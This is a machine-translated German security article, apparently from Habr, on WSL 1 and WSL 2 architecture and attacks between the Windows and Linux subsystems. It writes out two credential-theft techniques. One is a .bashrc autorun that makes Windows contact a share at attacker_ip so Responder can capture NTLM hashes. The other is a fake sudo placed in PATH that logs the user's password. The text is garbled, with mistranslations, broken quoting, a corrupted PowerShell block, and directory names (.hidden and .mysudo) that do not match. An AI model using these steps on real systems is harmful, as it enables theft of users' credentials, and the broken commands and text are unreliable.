Im Jahr 2016 hat Microsoft die neue Technologie WSL ( W indows S ubsystem für Linux), was es langfristig ermöglichte, zuvor unvereinbare Konkurrenten zu vereinen, die sowohl bei normalen als auch bei fortgeschrittenen Betriebssystembenutzern um Popularität kämpften: Windows und Linux. Diese Technologie ermöglichte die Verwendung von Linux-Tools in einer Windows-Umgebung, ohne dass Linux beispielsweise mit Multi-Boot gestartet werden musste. Auf Habr finden Sie eine Vielzahl von Artikeln, die die Vorteile der Verwendung von WSL beschreiben. Leider wurden zum Zeitpunkt der Erstellung des Artikels keine Sicherheitsstudien zu einer solchen Symbiose von Betriebssystemen für diese Ressource gefunden. Dieser Beitrag wird versuchen, das zu beheben. Der Artikel wird über die Funktionen der WSL 1- und WSL 2-Architekturen sprechen und einige Beispiele für Angriffe auf Systeme analysieren, die diese Technologien verwenden. Der Artikel ist in 2 Teile gegliedert.Die erste enthält die grundlegenden theoretischen Methoden für Linux- und Windows-Angriffe. Der zweite Artikel enthält das Einrichten einer Testumgebung und das Wiederholen von Angriffen.
WSL 1: Architekturfunktionen
Für das genaueste Eintauchen in WSL-Sicherheitsprobleme müssen die Hauptnuancen ermittelt werden, die mit der Implementierung des Subsystems verbunden sind. Eine der Hauptaufgaben der Benutzer, die von WSL gelöst werden, besteht darin, die Möglichkeit zu bieten, die Linux-Terminalsysteme auf einem Host mit Windows-Betriebssystem zu verarbeiten. Außerdem war die vorgeschlagene Kompatibilität so nativ, dass ausführbare Linux-Dateien (ELFs) direkt auf einem Windows-System ausgeführt werden konnten. Um diese Ziele zu erreichen, wurde in Windows 10 ein spezielles Subsystem erstellt, mit dem Sie Linux-Anwendungen mit einer Reihe spezifischer Systemaufrufe ausführen können. Daher wurde versucht, eine Reihe von Linux-Systemaufrufen Windows zuzuordnen. Dies wurde physisch implementiert, indem neue Treiber und ein neues Prozessformat hinzugefügt wurden. Optisch sah die Architektur folgendermaßen aus:
Tatsächlich wurde die Interaktion mit dem Linux-Betriebssystem durch mehrere Nuklearmodule und eine spezielle Art von Prozess organisiert - Pico. Aus dem obigen Diagramm können Sie ersehen, dass der Prozess, der in der Linux-Instanz auf dem Host ausgeführt wird, nativ sein und dieselben Ressourcen wie normale Windows-Anwendungen verwenden muss. Aber wie kann dies erreicht werden? Das Drawbridge- Projekt entwickelte Windows-Prozesskonzepte, die alle Betriebssystemkomponenten (je nach Version) bereitstellten, die zum Ausführen einer anderen Betriebssystemanwendung erforderlich waren.
Beachten Sie, dass die vorgeschlagene Abstraktion es möglich machte, sich nicht auf das Betriebssystem (insbesondere Windows) zu konzentrieren, in dem der Prozess eines anderen Betriebssystems voraussichtlich beginnen wird, und einen allgemeinen Ansatz bot.Somit kann jede Anwendung innerhalb des Pico-Prozesses ohne Rücksicht auf den Windows-Kernel ausgeführt werden:
- Kompatibilitäts- und Systemaufruf-Übersetzungsprobleme müssen von dedizierten Anbietern behoben werden.
- Die Zugriffskontrolle sollte über den Sicherheitsmonitor erfolgen. Der Monitor befindet sich im Kernel, und daher benötigte Windows ein Upgrade in Form eines neuen Treibers, der als Anbieter für solche Prozesse fungieren kann. Ein Prototyp des Pico-Prozesses ist unten schematisch dargestellt:
Da das Linux-Dateisystem zwischen Groß- und Kleinschreibung unterscheidet, wurden Windows zwei Arten von Dateisystemen hinzugefügt, um mit WSL zu arbeiten - VolFS und DriveFS. VolFS ist eine Implementierung des Linux-Dateisystems. DriveFS ist ein Dateisystem, das nach den Regeln von Windows arbeitet, jedoch die Groß- und Kleinschreibung von Namen auswählen kann.
WSL 2
WSL 1 hatte eine Reihe von Einschränkungen, die verhinderten, dass es zur Lösung des maximalen Aufgabenbereichs verwendet werden konnte: Beispielsweise war es nicht möglich, 32-Bit-Linux-Anwendungen auszuführen, und Gerätetreiber konnten nicht verwendet werden. Daher wurde 2020 WSL 2 veröffentlicht, was den Ansatz zum Aufbau des Subsystems änderte. WSL 2 ist eine optimierte virtuelle Maschine, die die Ressourcenverbrauchseigenschaften von WSL 1 erfüllt. Abhängig von den vom Windows-Benutzer gelösten Problemen können Sie nun die erforderliche Version des Linux-Subsystems auswählen. Um potenzielle Schwachstellen zu minimieren, wurde WSL 2 basierend auf Hyper-V in Windows 10 implementiert. In dieser Form kann Windows den Linux-Kernel isoliert ausführen. Es sei daran erinnert, dass Version 1 der WSL als Beta-Funktion eingeführt wurde.Das sollte den Entwicklungsvektor von Windows in diesem Bereich zeigen, so dass der Übergang zu Hyper-V unvermeidlich war. Die endgültige Architektur sieht folgendermaßen aus:
In dieser Version verfügen die Windows- und Linux-Kernel über eigene Ressourcen, und die Schnittmenge ist nur im Dateisystem vorhanden, diese Schnittmenge ist jedoch nicht vollständig. Die Interaktion zwischen Dateisystemen erfolgt über einen Client-Server-Wrapper, der auf dem 9P-Protokoll ausgeführt wird.
Heute bietet Microsoft die Möglichkeit, zwischen WSL 1 und WSL 2 zu wechseln. Beide Versionen stehen zur Verwendung zur Verfügung.
WSL-Sicherheit
Derzeit gibt es mehrere Artikel, in denen einige Ansätze zur Verwendung legitimer Betriebssystemwerkzeuge zum Angriff auf Interaktionen zwischen Subsystemen beschrieben werden. Wir werden ihre Skripte verwenden, um die Relevanz der Angriffe zum Zeitpunkt dieses Schreibens zu überprüfen. Allgemeine Liste der Angriffe und Szenarien:
1. Implementierung des Dateisystems: Zugriffsrechte, Vorhandensein gemeinsam genutzter Verzeichnisse / Datenaustauschmechanismen.
Die Untersuchung wurde zum Thema Verletzung von Zugriffsregeln von Linux FS-> Windows FS, Windows FS-> Linux FS durchgeführt . Studien haben gezeigt, dass eine bestimmte Datei innerhalb des Zielbetriebssystems geändert werden kann. Es wurde auch versucht, einen Teil der Dateisysteme zu ersetzen, Duplikate zu erstellen und zu löschen.
Szenario:
- A. Angriff vom Windows-Betriebssystem - Ändern von Dateien aus dem Verzeichnis / etc von Linux.
- B. Angriff der Linux - Betriebssystem - Modifikation von Dateien in den Verzeichnissen:
C:\Windows,C:\Program Files,C:\Users\<User>
2. Implementierung des Netzwerkstapels.
Die Untersuchung wurde an Beispielen für Angriffe des Linux-Betriebssystems unter Windows durchgeführt. Die Merkmale des Netzwerkstapels wurden verwendet, nämlich Authentifizierungsmechanismen für verschiedene Ressourcen.
Szenario:
- Öffnen des Zugriffs auf einen Port, der auf einem Windows-System ausgelastet ist
- Hafenöffnung ohne entsprechende Rechte
- Starten einer Reverse Shell mithilfe einer Elf-Datei im Windows-Betriebssystem.
3. Verschleierung des Starts bösartiger Softwareprozesse aufgrund des WSL-Subsystems.
Die Untersuchung basierte auf einer einfachen Tatsache: Sicherheitssubsysteme können keine Ereignisse in einem anderen Kern abfangen, was bei WSL 1 unter Verwendung eines legitimen Anbieters des Betriebssystems funktioniert. Bei WSL 2 gibt es keine Möglichkeit, die Ereignisse anzuzeigen, die in einem separaten Kern innerhalb von WSL 2 auftreten leichte virtuelle Maschine.
Szenario:
1) Starten der Anwendung für den Remotezugriff auf das System und Anzeigen der protokollierten Ereignisse.
WSL 1-Experimente: Hash-Catching (Windows-Betriebssystem)
Schließlich kamen wir zum praktischen Teil. Zunächst müssen Sie die Umgebung für die Tests einrichten. Alle Experimente werden an einem Stand mit installiertem Windows 10 2004 durchgeführt. Ubuntu 18.04 wurde als Betriebssystem-Image für WSL ausgewählt. Das Bild wurde zufällig ausgewählt und jedes andere funktioniert genauso. Befehle zum Einrichten des Standes:
Zunächst müssen Sie
powershell.exeals Administrator ausgeführt werden.
Für WSL 1 müssen Sie die folgenden Befehle ausführen: Nach dem Neustart des Standes können Sie den Befehl bash aufrufen. Wenn alles richtig funktioniert hat, wird in der Windows-Konsole Folgendes angezeigt: Wir verwenden die Kali Linux-Distribution als Computer des Angreifers. Alle Computer müssen sich im selben lokalen Netzwerk befinden.
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
Ubuntu.appx install —root #
, , , root. sam.
Restart-Computer #
Nehmen wir an, wir haben auf einem Windows-Computer unprivilegierten Zugriff auf WSL. Versuchen wir, das Linux-Betriebssystem anzugreifen, indem wir einen Befehl von Linux aufrufen. Um den Angriff zu implementieren, verwenden wir eine einfache Autorun-Technik - wir fügen unser Skript zur Ausführung in der Linux-Umgebung hinzu. Dazu müssen Sie die Datei ändern
.bashrc.
Führen Sie auf einem Computer mit WSL Folgendes aus:
1. bash
2. : cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitFühren Sie auf einem Kali Linux-Computer Folgendes aus:
1. Responder -I eth0 -rdvwFühren Sie auf einem Windows-Computer bash aus.
Wir warten auf das Ergebnis auf dem Kali Linux-Computer:
So haben wir die Hashes des Windows-Benutzers über das WSL-Subsystem erhalten, indem wir den Befehl auf dem Linux-System ausgeführt haben.
WSL 1-Experimente: Abrufen des Benutzerkennworts (Linux OS)
Lassen Sie uns noch ein Experiment machen. Während dieser Überprüfung werden wir die Datei mit
.bashrcmehreren Befehlen ergänzen , um das Kennwort des Benutzers für das Linux-Betriebssystem zu erhalten.
Beginnen wir mit Bash und geben die Befehle ein:
1. mkdir .hidden
2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
4. echo "echo \"\"" >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exitDamit der Angriff erfolgreich abgeschlossen werden kann, muss der Benutzer Sam sudo im Linux-Terminal aufrufen. Danach befindet sich das Linux OS-Benutzerkennwort in der Datei
pass.txt:
Die Implementierung der Angriffe wurde nur zur theoretischen Information dargestellt.
Im nächsten Teil des Artikels wird die Implementierung des 9P-Protokolls beschrieben, die Erstellung eines Scanners für dieses Protokoll in Betracht gezogen und auch ein Angriff mit diesem Protokoll ausgeführt.
Liste der verwendeten Literatur
Weiterlesen